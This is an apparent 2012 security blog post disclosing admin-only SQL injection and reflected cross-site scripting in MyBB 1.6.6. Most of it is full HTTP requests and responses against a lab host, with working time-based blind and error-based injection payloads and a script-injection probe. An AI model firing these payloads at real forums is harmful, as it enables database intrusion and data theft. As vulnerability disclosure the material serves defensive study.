Monday, 26 March 2012

Multiple vulnerabilities in mybb 1.6.6





Mybb version 1.6.6 suffers from multiple vulnerabilities namely SQL Injection and Cross Site Scripting. Since both of these vulnerabilities can only be exploited after logging in with the admin privileges, the severity of these findings is not high.

SQL Injection

Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search

Affected Parameter: conditions[usergroup][]

POST request:
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
Response:
HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 16:51:17 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2121
Connection: close
Content-Type: text/html; charset=UTF-8

.........snip...........
   
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near '') OR CONCAT(',',additionalgroups,',') LIKE '%,2',%')' at line 3

Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2') OR 
CONCAT(',',additionalgroups,',') LIKE '%,2',%')
Exploitation:

Since our input goes into two different SELECT queries, the exploitation here is somewhat tricky. We cannot inject it using UNION query as both the SELECT query has difference number of columns.

Exploitation is possible either with the time based blind SQL Injection or with the error based method.

a) Exploitation using Time based blind SQL Injection:
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2))+AND+1=(SELECT+sleep(3))%23&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
The injected payload ))+AND+1=(SELECT+sleep(3))%23 will delay the response by 6 seconds rather than 3 seconds because our input goes to two different SELECT queries and each of this SELECT query will delay the execution by 3 seconds.


b) Exploitation using error based mysql SQL Injection:

Reuest:
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2))+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1--+-
&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=
&conditions%5Busertitle%5D=&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card

Response:
HTTP/1.1 503 Service Temporarily Unavailable
Date: Mon, 26 Mar 2012 17:42:40 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Status: 503 Service Temporarily Unavailable
Retry-After: 1800
Vary: Accept-Encoding
Content-Length: 2130
Connection: close
Content-Type: text/html; charset=UTF-8

.........snip...........
SQL Error:
1062 - Duplicate entry '5.1.61-0ubuntu0.10.04.11' for key 'group_key'
Query:
SELECT COUNT(u.uid) AS num_results
FROM mybb_users u
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2)) 
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -) OR CONCAT(',',additionalgroups,',') LIKE '%,2)) 
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -,%')
Error message shows mysql version. Similarly other data can be retrieved by this method.


Reflected Cross Site Scripting

Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search

Affected Parameter: conditions[usergroup][]

POST request:
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
Response:



Vulnerable code

The culprit code can be found under the /var/www/mybb/admin/modules/user/ with the name users.php.

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